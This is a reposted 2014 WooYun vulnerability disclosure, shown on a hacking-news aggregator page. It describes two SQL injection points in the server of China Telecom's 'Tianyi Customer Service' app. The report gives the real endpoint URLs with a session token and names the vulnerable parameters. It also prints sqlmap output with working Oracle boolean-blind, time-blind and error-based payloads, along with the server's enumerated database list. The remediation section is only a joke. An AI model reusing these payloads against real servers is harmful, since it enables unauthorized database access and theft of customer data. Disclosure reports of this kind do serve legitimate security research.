记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

中国电信某APP服务端两处SQL注射

2014-05-20 22:35

这几个接口都存在于"天翼客服"app中,该app可从豌豆荚应用商店下载。

注射点1



http://content.kefu.189.cn:8005/public/sjkf/hotwords/searchPrompt?&appCode=003&hotWord=1&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android



其中hotWord参数存在SQL注射

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: hotWord

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: &appCode=003&hotWord=1%' AND 4434=4434 AND '%'='&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android



Type: AND/OR time-based blind

Title: Oracle AND time-based blind (heavy query)

Payload: &appCode=003&hotWord=1%' AND 1637=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND '%'='&token=5db9ae9853aabd4f0a388e21a0e9d1ad&deviceOS=android

---

web application technology: JSP

back-end DBMS: Oracle

available databases [22]:

[*] APEX_030200

[*] APPQOSSYS

[*] CTXSYS

[*] DBSNMP

[*] EMS2

[*] EXFSYS

[*] FANGLE

[*] FLOWS_FILES

[*] MDSYS

[*] MOBILE_SERVICE

[*] MOBILE_SERVICE_CONTENT

[*] MOBILE_SERVICE_VM

[*] OLAPSYS

[*] ORDDATA

[*] ORDSYS

[*] OUTLN

[*] OWBSYS

[*] SYS

[*] SYSMAN

[*] SYSTEM

[*] WMSYS

[*] XDB





注射点2



http://content.kefu.189.cn:8005/public/sjkf/manualstype/MyPhone_InstructionManual?&deviceModel=sdk&deviceOS=android



deviceModel参数存在SQL注射

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: deviceModel

Type: error-based

Title: Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)

Payload: &deviceModel=-7643') OR 4436=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(110)||CHR(110)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (4436=4436) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(104)||CHR(106)||CHR(111)||CHR(113)) AND ('Dmmf'='Dmmf&deviceOS=android



Type: AND/OR time-based blind

Title: Oracle OR time-based blind

Payload: &deviceModel=-2289') OR 3440=DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(108)||CHR(111)||CHR(113),5) AND ('WmXG'='WmXG&deviceOS=android

---

web application technology: JSP

back-end DBMS: Oracle

available databases [22]:

[*] APEX_030200

[*] APPQOSSYS

[*] CTXSYS

[*] DBSNMP

[*] EMS2

[*] EXFSYS

[*] FANGLE

[*] FLOWS_FILES

[*] MDSYS

[*] MOBILE_SERVICE

[*] MOBILE_SERVICE_CONTENT

[*] MOBILE_SERVICE_VM

[*] OLAPSYS

[*] ORDDATA

[*] ORDSYS

[*] OUTLN

[*] OWBSYS

[*] SYS

[*] SYSMAN

[*] SYSTEM

[*] WMSYS

[*] XDB

漏洞证明:

如上。

数据太多 就不--count了

修复方案:

电信更专业

知识来源: www.wooyun.org/bugs/wooyun-2014-055659

阅读:81667 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“中国电信某APP服务端两处SQL注射”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云